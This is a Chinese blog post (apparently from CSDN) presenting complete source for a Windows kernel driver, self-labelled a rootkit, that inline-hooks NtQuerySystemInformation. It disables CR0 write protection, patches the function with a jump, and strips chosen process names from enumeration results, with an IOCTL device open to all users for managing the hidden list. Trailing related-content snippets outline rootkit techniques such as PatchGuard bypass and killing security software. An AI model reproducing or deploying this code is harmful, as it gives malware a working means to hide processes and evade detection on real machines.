内核层 inlinehook 隐藏进程


 上次是SSDT  HOOK 方式 隐藏 进程 ,如链接:http://blog.csdn.net/hjxyshell/article/details/16993119

这次是InlineHook 方式隐藏进程,这里inline hook的原理就不做详细介绍了,网上相关资源较多,撸主主要参考看雪的某大牛的“详谈内核三步走Inline Hook实现”(http://bbs.pediy.com/showthread.php?t=98493

中间有一些关于进程的枚举的处理,上次写了个简单的代码:http://blog.csdn.net/hjxyshell/article/details/17312119


代码如下:


 

#include <ntddk.h>
#include <Wdmsec.h>  
#include <Wdm.h>  

//定义控制码  
#define MY_DVC_IN_CODE \
		(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\
				0xa02,\
				METHOD_BUFFERED,\
				FILE_READ_DATA|FILE_WRITE_DATA)

//隐藏进程链表相关变量
//存放要隐藏进程的名字链表  
typedef struct _ProcNameLink  
{  
    UNICODE_STRING ProcName;  
    struct _ProcNameLink *pNext;  
}ProcNameLink,*pProcNameLink;

pProcNameLink pProcNameHeader;  //链表头部  
pProcNameLink pProcNameTail;   //链表尾部 
//字节型数据  unsigned char
typedef unsigned char BYTE;
ULONG  CR0VALUE;                       //设置cr0的读写标识
BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字节           
BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址

//进程线程 信息  结构体
struct _SYSTEM_THREADS  
{  
        LARGE_INTEGER           KernelTime;  
        LARGE_INTEGER           UserTime;  
        LARGE_INTEGER           CreateTime;  
        ULONG                           WaitTime;  
        PVOID                           StartAddress;  
        CLIENT_ID                       ClientIs;  
        KPRIORITY                       Priority;  
        KPRIORITY                       BasePriority;  
        ULONG                           ContextSwitchCount;  
        ULONG                           ThreadState;  
        KWAIT_REASON            WaitReason;  
};  
//进程信息结构体  
struct _SYSTEM_PROCESSES  
{  
        ULONG                           NextEntryDelta;  
        ULONG                           ThreadCount;  
        ULONG                           Reserved[6];  
        LARGE_INTEGER                   CreateTime;  
        LARGE_INTEGER                   UserTime;  
        LARGE_INTEGER                   KernelTime;  
        UNICODE_STRING                  ProcessName;  
        KPRIORITY                       BasePriority;  
        ULONG                           ProcessId;  
        ULONG                           InheritedFromProcessId;  
        ULONG                           HandleCount;  
        ULONG                           Reserved2[2];  
        VM_COUNTERS                     VmCounters;  
        IO_COUNTERS                     IoCounters; //windows 2000 only  
        struct _SYSTEM_THREADS          Threads[1];  
};  

//原函数,获取进程(系统)相关信息
NTSYSAPI  
NTSTATUS  
NTAPI NtQuerySystemInformation(  
                        IN ULONG SystemInformationClass,  
                        OUT PVOID SystemInformation,  
                        IN ULONG SystemInformationLength,  
                        OUT PULONG ReturnLength  
                            );
NTSTATUS
MyNtQuerySystemInformation(
						IN ULONG SystemInformationClass,
						OUT PVOID SystemInformation,
						IN ULONG SystemInformationLength,
						OUT PULONG ReturnLength
							);

//改变函数前五个字节,使其跳到MyNtQuerySystemInformation函数中							
void HookNtQuerySystemInformation(
					//	IN ULONG SystemInformationClass,
					//	OUT PVOID SystemInfotmation,
					//	IN ULONOG SystemInformatonLength,
					//	OUT PULONG ReturnLength
								)
{
	//赋值前面的数组
	KIRQL Irql;
	DbgPrint("[NtQuerySystemInformation]: 0x%x",NtQuerySystemInformation);
	//保存原函数前5个字节
	RtlCopyMemory(OriginalBytes,(BYTE*)NtQuerySystemInformation,5);
	//保存新函数5个字节自后的偏移
	*(ULONG*)(JmpAddress + 1) = (ULONG)MyNtQuerySystemInformation - ((ULONG)NtQuerySystemInformation+5);
	//开始inline hook  即将跳转到新函数指令拷贝到原函数前5个字节
	//关闭内存写保护
	__asm
	{
	//这里只用到eax,保存eax即可
	push eax
	mov eax,cr0
	mov CR0VALUE,eax
	and eax,0fffeffffh
	mov cr0,eax
	pop eax
	}
	//提升IRQL中断级(防止写的过程中出新中断,导致出错)
	Irql = KeRaiseIrqlToDpcLevel();
	//开始写函数的前5个字节(jmp 指令)
	RtlCopyMemory((BYTE*)NtQuerySystemInformation,JmpAddress,5);
	//恢复Irql
	KeLowerIrql(Irql);
	//开启内存写保护
	__asm
	{
	push eax
	mov eax,CR0VALUE
	mov cr0,eax
	pop eax
	}
	
}
//取消inline hook
void UnHookNtQuerySystemInformation(
					//	IN ULONG SystemInformationClass,
					//	OUT PVOID SystemInfotmation,
					//	IN ULONOG SystemInformatonLength,
					//	OUT PULONG ReturnLength
								)
{
	//把保存的五个字节写回原函数
	KIRQL Irql;
	//关闭写保护
	__asm
	{
		push eax
		mov eax,cr0
		mov CR0VALUE,eax
		and eax,0fffeffffh
		mov cr0,eax
		pop eax
	}
	//提升IRQL 到 Dpc
	Irql = KeRaiseIrqlToDpcLevel();
	RtlCopyMemory((BYTE*)NtQuerySystemInformation,OriginalBytes,5);
	KeLowerIrql(Irql);
	//开启内存写保护
	__asm
	{
	push eax
	mov eax,CR0VALUE
	mov cr0,eax
	pop eax
	}
}
//原函数
_declspec (naked) NTSTATUS OriginalNtQuerySystemInformation(
										IN ULONG SystemInformationClass,
										OUT PVOID SystemInfotmation,
										IN ULONG SystemInformatonLength,
										OUT PULONG ReturnLength
															)
{
	__asm{
		//这里的eax不是随便使用个寄存器就行的,因为
		//随便使用个寄存器很可能会破坏原来的值
		//因为eax的值在接下来会直接被覆盖(原来的值是什么不重要了),所以这里可以使用
		push 210h
		mov eax,NtQuerySystemInformation
		add eax,5
		jmp eax
		}		
}

//MyNtQuerySystemInformation函数,再此处 进行进程隐藏处理
NTSTATUS
MyNtQuerySystemInformation(
						IN ULONG SystemInformationClass,
						OUT PVOID SystemInformation,
						IN ULONG SystemInformationLength,
						OUT PULONG ReturnLength
							)
{
		NTSTATUS ntStatus;
		pProcNameLink pTempLink;  //进程查询时使用
		//DbgPrint("it's here!!!\n");
		//查询系统信息
		ntStatus = OriginalNtQuerySystemInformation(
											SystemInformationClass,
											SystemInformation,
											SystemInformationLength,
											ReturnLength
													);
		if(NT_SUCCESS(ntStatus))
		{
			if(SystemInformationClass == 5)
			{
				//获取进程信息结构
				for((pTempLink = pProcNameHeader->pNext)&&(pTempLink != NULL);pTempLink !=NULL;)
				{
					//每次查看时 ,都从进程的列表开始查看
					struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
					struct _SYSTEM_PROCESSES *prev = NULL;
					while(curr)
					{
						if(curr->ProcessName.Buffer != NULL)
						{
							if(0 == memcmp(curr->ProcessName.Buffer,pTempLink->ProcName.Buffer,16)) //判断是否为要隐藏的进程
							{
								//判断眼隐藏的进程在链表的那个位置
								if(prev) //中间或最后
								{
									if(curr->NextEntryDelta)  
										prev->NextEntryDelta += curr->NextEntryDelta;  
									else    // 在最后  
										prev->NextEntryDelta = 0;  
								}
								else  
								{  
									if(curr->NextEntryDelta)  
									{  
										// 要隐藏的进程在第一个  
										(char *)SystemInformation += curr->NextEntryDelta;  
									}  
									else // 只有当前一个进程  
										SystemInformation = NULL;  
								}  
							}
						}
						prev = curr;  
						if(curr->NextEntryDelta)   
							(char *)curr += curr->NextEntryDelta;  
						else   
							curr = NULL;  					
					}
				 pTempLink = pTempLink->pNext;
				}	
			}
		}								
	return ntStatus;
	//return 1;
}
//向链表汇总加入新的要隐藏的进程  
VOID AddProcToLink(PUNICODE_STRING ProcName)  
{  
    //先判断该进程是否已存在,已存在则不添加(不判断也不影响结果)  
    pProcNameLink pNewLink = (pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));  //新增节点  
    (pNewLink->ProcName).Length = 0;  
    (pNewLink->ProcName).MaximumLength = 256;  
    (pNewLink->ProcName).Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, 256);  //新增节点  
      
    RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName);  //复制  
    pNewLink->pNext = NULL;  
    pProcNameTail->pNext = pNewLink;  
    pProcNameTail = pNewLink;    //链表末尾  
}  
//移除某个进程  
VOID RmProcFromLink(PUNICODE_STRING pProcName)  
{  
    pProcNameLink pNewLink = pProcNameHeader;  
    if(pProcNameHeader->pNext == NULL)  
        return;  
    for( pNewLink;pNewLink->pNext != NULL;)  
    {  
        //找到,则从链表中删除  
        if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)  
        {  
            pNewLink->pNext = pNewLink->pNext->pNext;  
            if(pNewLink->pNext == NULL)  //链表结尾,为指针标识赋值  
                pProcNameTail = pNewLink;  
            break;  
        }  
        pNewLink = pNewLink->pNext;  //没有写在for里面是为了方便调试时下断点  
    }  
  
}  
//卸载驱动
VOID OnUnload(IN PDRIVER_OBJECT driver)  
{  
    UNICODE_STRING symblink_name;  //c语言定义变量放在前面  
	DbgPrint("ROOTKIT: OnUnload called\n");  
   // unhook ZwQuerySystemInformation  
	UnHookNtQuerySystemInformation();
	
    if(IoIsWdmVersionAvailable(1,0x10))  
    {  
        //支持通用版本本,则创建全局符号链接\DosDevices\Global  
        RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");         
    }  
    else  
    {  
        //不支持,用\DosDevices  
        RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");  
    }  
    IoDeleteSymbolicLink(&symblink_name );  
    IoDeleteDevice(driver->DeviceObject);  
    DbgPrint("our driver is unloading ... \r\n");  
}  
//分发函数
NTSTATUS MyDispatchFunction(PDEVICE_OBJECT device, PIRP irp)  
{  
    CHAR inBuffer[256];  
    short flag = 1;  //增加链表  
    ANSI_STRING ansiBuffer;  
    UNICODE_STRING unicodeBuffer;  
    int i;  
    //获得当前IRP调用的栈空间  
    PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);  
    NTSTATUS status = STATUS_INVALID_PARAMETER;  
    memset(inBuffer,0,256);  
    //处理各种请求  
    switch(irpsp->MajorFunction)  
    {  
        case IRP_MJ_CREATE:  
        {  
            //简单返回一个IRP成功三部曲  
            irp->IoStatus.Information = 0;  
            irp->IoStatus.Status = STATUS_SUCCESS;  
            IoCompleteRequest(irp,IO_NO_INCREMENT);  
            //应用层,打开设备后 打印此字符串,仅为测试  
            DbgPrint("congratulations gay,open device");  
            status = irp->IoStatus.Status;  
            break;  
        }  
        case IRP_MJ_CLOSE:  
        {  
            irp->IoStatus.Information = 0;  
            irp->IoStatus.Status = STATUS_SUCCESS;  
            IoCompleteRequest(irp,IO_NO_INCREMENT);  
            //应用层,打开设备后 打印此字符串,仅为测试  
            DbgPrint("congratulations gay,close device");  
            status = irp->IoStatus.Status;  
            break;  
        }  
        case IRP_MJ_DEVICE_CONTROL:  
        {  
            //得到功能号  
            ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;  
            //得到输入/输出缓冲区的长度  
            ULONG in_len = irpsp->Parameters.DeviceIoControl.InputBufferLength;  
            ULONG out_len = irpsp->Parameters.DeviceIoControl.OutputBufferLength;  
            //输入、输出的缓冲区是公用的内存空间的  
            PCHAR buffer = (PCHAR)irp->AssociatedIrp.SystemBuffer;  
            //memcpy(inBuffer,buffer,in_len);  
            //将短字符转化为宽字符  
            if(buffer[0] == '-')  
                flag = 0;  
            ansiBuffer.Buffer = buffer+1;  
            ansiBuffer.Length = ansiBuffer.MaximumLength = (USHORT)(in_len -1);  
            RtlAnsiStringToUnicodeString(&unicodeBuffer, &ansiBuffer,TRUE);  
            if(flag)  
                AddProcToLink(&unicodeBuffer);   //将要隐藏的进程加入到链表中  
            else  
                RmProcFromLink(&unicodeBuffer);  
            DbgPrint("%ansiBuffer = %Z\n",&ansiBuffer);    //注意是%Z  
            DbgPrint("unicodeBuffer = %wZ\n",&unicodeBuffer);  
            if(code == MY_DVC_IN_CODE)  
            {  
                DbgPrint("in_buffer_len = %d",in_len);  
                DbgPrint("%s",buffer);  
                //因为不返回信息,直接返回成功即可  
                //没有用到输出缓冲区  
                irp->IoStatus.Information = 0;  
                irp->IoStatus.Status = STATUS_SUCCESS;  
            }  
            else  
            {  
                //控制码错误,则不接受请求,直接返回错误  
                //注意返回错误和返回成功的区别  
                irp->IoStatus.Information = 0;  
                irp->IoStatus.Status = STATUS_INVALID_PARAMETER;  
            }  
            IoCompleteRequest(irp,IO_NO_INCREMENT);  
            status = irp->IoStatus.Status;  
            break;  
        }  
        case IRP_MJ_READ:  
        {  
            break;  
        }  
        default:  
        {  
            DbgPrint("unknow request!!!");  
            break;  
        }  
    }  
     
    return status;  
}  
//驱动入口函数
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driver,   
                     IN PUNICODE_STRING reg_path) 
{
	ULONG i;  
    NTSTATUS status;  
    PDEVICE_OBJECT device;  
    //设备名  
    UNICODE_STRING device_name = RTL_CONSTANT_STRING(L"\\Device\\test");  
    //符号连接名  
    UNICODE_STRING symblink_name;  
    //随手写一个GUID  
    static const GUID MYGUID_CLASS_MYCDO =   
    { 0x63542127, 0xfbbb, 0x49c8, { 0x8b, 0xf4, 0x8b, 0x7c, 0xb5, 0xef, 0xd3, 0x9e } };  
//static const GUID DECLSPEC_SELECTANY MYGUID_CLASS_MYCDO =   
//{ 0x8524767, 0x32fe, 0x4d86, { 0x9f, 0x48, 0xa0, 0x26, 0x94, 0xec, 0x71, 0x42 } };  
     
    //全用户可读权限、写权限  
    UNICODE_STRING sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");  
    //初始化第一个结构体  
    pProcNameHeader =(pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));  
    pProcNameHeader->pNext = NULL;  
    pProcNameTail = pProcNameHeader;  
    //RtlInitUnicodeString(&(pProcNameHeader->ProcName),L"");  
    //_asm int 3  
    //生成设备  
    status = IoCreateDeviceSecure(  
                            driver,  
                            0,  
                            &device_name,  
                            FILE_DEVICE_UNKNOWN,  
                            FILE_DEVICE_SECURE_OPEN,  
                            FALSE,  
                            &sdd1,  
                            (LPCGUID)&MYGUID_CLASS_MYCDO,  
                            &device  
                            );  
    if(!NT_SUCCESS(status))  
    {  
        DbgPrint("IoCreateDeviceSecure failed ");  
        return status;  
    }  
    DbgPrint("good job1");  
    //创建符号链接  
    if(IoIsWdmVersionAvailable(1,0x10))  
    {  
        //支持通用版本本,则创建全局符号链接\DosDevices\Global  
        RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");         
    }  
    else  
    {  
        //不支持,用\DosDevices  
        RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");  
    }  
    status = IoCreateSymbolicLink(&symblink_name,&device_name);  
    if(!NT_SUCCESS(status))  
    {  
        DbgPrint("IoCreateSymbolicLink failed");  
        return status;  
    }  
    DbgPrint("good job2");  
    //初始化驱动处理  
    for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)  
    {  
        driver->MajorFunction[i] = MyDispatchFunction;  
    }  
   // save old system call locations  
   //OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));  
     // Register a dispatch function for Unload  
    driver->DriverUnload  = OnUnload;   
      
     // inline hook   
    HookNtQuerySystemInformation();
                                
   return STATUS_SUCCESS;  			 
					 
}
说明:

    _declspec (naked) NTSTATUS OriginalNtQuerySystemInformation  函数中的寄存器不是随便使用的,正如代码中注释所述一样,这里使用eax,因为eax的值会被直接覆盖,对后续程序并无影响

如图:

 

驱动安装运行后,在查看函数NtQuerySystemInformation,已经被我们掌控


  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
0.基础的基础 |-学习WIN64驱动开发的硬件准备 |-配置驱动开发环境 ------------------------------ 1.驱动级HelloWorld |-配置驱动测试环境 |-编译和加载内核HelloWorld ------------------------------ 2.内核编程基础 |-WIN64内核编程的基本规则 |-驱动程序与应用程序通信 |-内核里使用内存 |-内核里操作字符串 |-内核里操作文件 |-内核里操作注册表 |-内核里操作进线程 |-驱动里的其它常用代码 ------------------------------ 3.内核HOOK与UNHOOK |-系统调用、WOW64与兼容模式 |-编程实现突破WIN7的PatchGuard |-系统服务描述表结构详解 |-SSDT HOOK和UNHOOK |-SHADOW SSDT HOOK和UNHOOK |-INLINE HOOK和UNHOOK ------------------------------ 4.无HOOK监控技术 |-无HOOK监控进线程启动和退出 |-无HOOK监控模块加载 |-无HOOK监控注册表操作 |-无HOOK监控文件操作 |-无HOOK监控进线程句柄操作 |-使用对象回调监视文件访问 |-无HOOK监控网络访问 |-无HOOK监视修改时间 ------------------------------ 5.零散内容 |-驱动里实现内嵌汇编 |-DKOM隐藏进程+保护进程 |-枚举和隐藏内核模块 |-强制结束进程 |-强制读写进程内存 |-枚举消息钩子 |-强制解锁文件 |-初步探索PE32+格式文件 ------------------------------ 6.用户态HOOK与UNHOOK |-RING3注射DLL到系统进程 |-RING3的INLINE HOOK和UNHOOK |-RING3的EAT HOOK和IAT HOOK ------------------------------ 7.反回调 |-枚举与删除创建进线程回调 |-枚举与删除加载映像回调 |-枚举与删除注册表回调 |-枚举与对抗MiniFilter |-枚举与删除对象回调
D:. │ Read me.txt │ 目录里面的文件.txt │ └─Rootkit ├─1。 内核hook │ ├─1)object hook │ │ 1)object hook.doc │ │ │ ├─2)ssdt hook │ │ 2)ssdt hook.doc │ │ SSDT Hook的妙用-对抗ring0 inline hook .doc │ │ swk0207.rar │ │ │ ├─3)inline-hook │ │ 360SuperKill学习之--恢复FSD的IRP处理函数.doc │ │ 3)inline-hook.doc │ │ cnnic.rar │ │ ExpLookupHandleTableEntry.rar │ │ ExpLookupHandleTableEntry2.rar │ │ kill_SecuritySoftware.rar │ │ PsLookupProcessByProcessId执行流程学习笔记.doc │ │ 句柄啊,3表啊,ExpLookupHandleTableEntry啊.doc │ │ 干掉KV 2008, Rising等大部分杀软.doc │ │ 搜索未导出的函数地址.doc │ │ │ ├─4)idt hook │ │ bhwin_keysniff.rar │ │ IDT Hook .doc │ │ │ ├─5)IRP hook │ │ 5)IRP hook.doc │ │ irphook1.rar │ │ irphook2.rar │ │ irphook3.rar │ │ │ ├─6)SYSENTER hook │ │ 6)SYSENTER hook.doc │ │ SysEnterHook.rar │ │ │ ├─7)IAT HOOK │ │ 7)IAT HOOK.doc │ │ HybridHook.rar │ │ testtest.rar │ │ │ └─8)EAT HOOK │ 8)EAT HOOK.doc │ 利用导出表来禁止一些驱动程序的加载.doc │ 导出表钩子.rar │ ├─2。保护模式篇章第一部分: ring3进ring0之门 │ ├─1)通过调用门访问内核 │ │ 1)通过调用门访问内核.doc │ │ myCallGate.rar │ │ test.rar │ │ │ ├─2)通过中断门访问内核 │ │ 2)通过中断门访问内核.doc │ │ myIntGate.rar │ │ │ ├─3)通过任务门访问内核 │ │ 3)通过任务门访问内核.doc │ │ MyTaskGate.rar │ │ │ └─4)通过陷阱门访问内核 │ 4)通过陷阱门访问内核.doc │ exe.rar │ src.rar │ ├─3。保护模式篇章第二部分:windows分页机制 │ 1)windows分页机制.doc │ ├─4。保护模式篇章第三部分:直接访问硬件 │ ├─1)修改iopl,ring3直接访问硬件 │ │ 1)修改iopl,ring3直接访问硬件.doc │ │ drv.rar │ │ exe.rar │ │ │ ├─2)追加tss默认IO许可位图区域 │ │ 2)追加tss默认IO许可位图区域.doc │ │ drv.rar │

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值